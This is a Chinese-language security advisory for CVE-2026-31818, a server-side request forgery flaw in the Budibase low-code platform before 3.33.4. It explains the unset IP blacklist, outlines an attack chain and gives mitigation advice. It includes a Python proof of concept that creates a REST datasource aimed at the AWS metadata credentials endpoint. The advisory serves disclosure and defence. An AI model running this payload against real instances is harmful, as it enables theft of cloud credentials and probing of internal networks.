IPBUF安全漏洞报告
English
CVE-2026-31818 CVSS 9.6 严重

CVE-2026-31818 Budibase SSRF漏洞

披露日期: 2026-04-03

漏洞信息

漏洞编号
CVE-2026-31818
漏洞类型
服务端请求伪造 (SSRF)
CVSS评分
9.6 严重
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Budibase

相关标签

SSRFBudibase服务端请求伪造低代码平台严重漏洞

漏洞概述

Budibase是一个开源低代码平台。在3.33.4版本之前,其REST数据源连接器中存在服务器端请求伪造(SSRF)漏洞。该漏洞的起因是平台的SSRF保护机制(IP黑名单)默认失效。由于官方部署配置中未设置BLACKLIST_IPS环境变量,导致黑名单函数无条件返回false,从而允许所有未经限制的请求通过。攻击者可利用此漏洞探测内网服务或访问受限资源。该问题已在3.33.4版本中修复。

技术细节

该漏洞的根本原因在于Budibase REST数据源连接器的安全配置缺陷。Budibase设计了一个基于IP黑名单的SSRF防御机制,旨在阻止对内网敏感地址(如127.0.0.1、169.254.169.254等)的访问。然而,该机制的实现依赖于环境变量`BLACKLIST_IPS`。在所有官方的部署配置中,该变量默认并未被设置。当应用程序读取到该变量为空时,执行黑名单检查的逻辑函数会直接返回false,意味着任何IP地址都被视为“不在黑名单中”。因此,原本的安全屏障形同虚设。攻击者只需拥有低权限账号(PR:L),即可通过构造恶意的REST API数据源请求,指定任意的目标URL。由于网络攻击向量为网络(AV:N),且无需用户交互(UI:N),攻击者可以轻易利用此缺陷绕过边界防护,对服务器所在的内部网络进行端口扫描、访问云元数据服务或攻击内部脆弱服务,造成高机密性和完整性影响。

攻击链分析

STEP 1
步骤1:获取访问权限
攻击者注册或获取一个Budibase平台的低权限用户账号(PR:L)。
STEP 2
步骤2:构造恶意数据源
攻击者利用该账号访问REST数据源配置功能,创建一个新的数据源,将URL字段设置为内网敏感地址(如127.0.0.1或云元数据服务地址)。
STEP 3
步骤3:绕过防护机制
由于环境变量BLACKLIST_IPS未设置,服务端SSRF检查逻辑失效,请求被放行。
STEP 4
步骤4:执行SSRF攻击
服务器向攻击者指定的内网地址发起请求,返回敏感信息或进一步攻击内部系统。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests # Target Budibase instance URL TARGET_URL = "http://vulnerable-budibase-instance.com" # Endpoint to create a datasource (API endpoint may vary based on version) API_ENDPOINT = f"{TARGET_URL}/api/datasources" # Attacker's low-privilege API token API_TOKEN = "Bearer <LOW_PRIVILEGE_TOKEN>" # Malicious URL to target internal resources (e.g., AWS Metadata Service) # Since BLACKLIST_IPS is empty, this request will not be blocked. MALICIOUS_URL = "http://169.254.169.254/latest/meta-data/iam/security-credentials/" headers = { "Authorization": API_TOKEN, "Content-Type": "application/json" } # Payload to create a REST datasource pointing to an internal address payload = { "name": "SSRF_Test_Datasource", "type": "rest", "source": { "url": MALICIOUS_URL } } try: print(f"Sending SSRF payload to {API_ENDPOINT}...") response = requests.post(API_ENDPOINT, json=payload, headers=headers) if response.status_code == 200 or response.status_code == 201: print("[+] Request successful. SSRF likely triggered.") print(f"[+] Response: {response.text}") else: print(f"[-] Request failed with status code: {response.status_code}") print(f"[-] Response: {response.text}") except Exception as e: print(f"[!] An error occurred: {e}")

影响范围

Budibase < 3.33.4

防御指南

临时缓解措施
如果无法立即升级,建议管理员在环境配置中显式设置`BLACKLIST_IPS`环境变量,填入需要拦截的内网IP段(如127.0.0.0/8, 10.0.0.0/8, 172.16.0.0/12, 192.168.0.0/16等),以在应用层面强制启用黑名单过滤功能,从而缓解SSRF风险。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表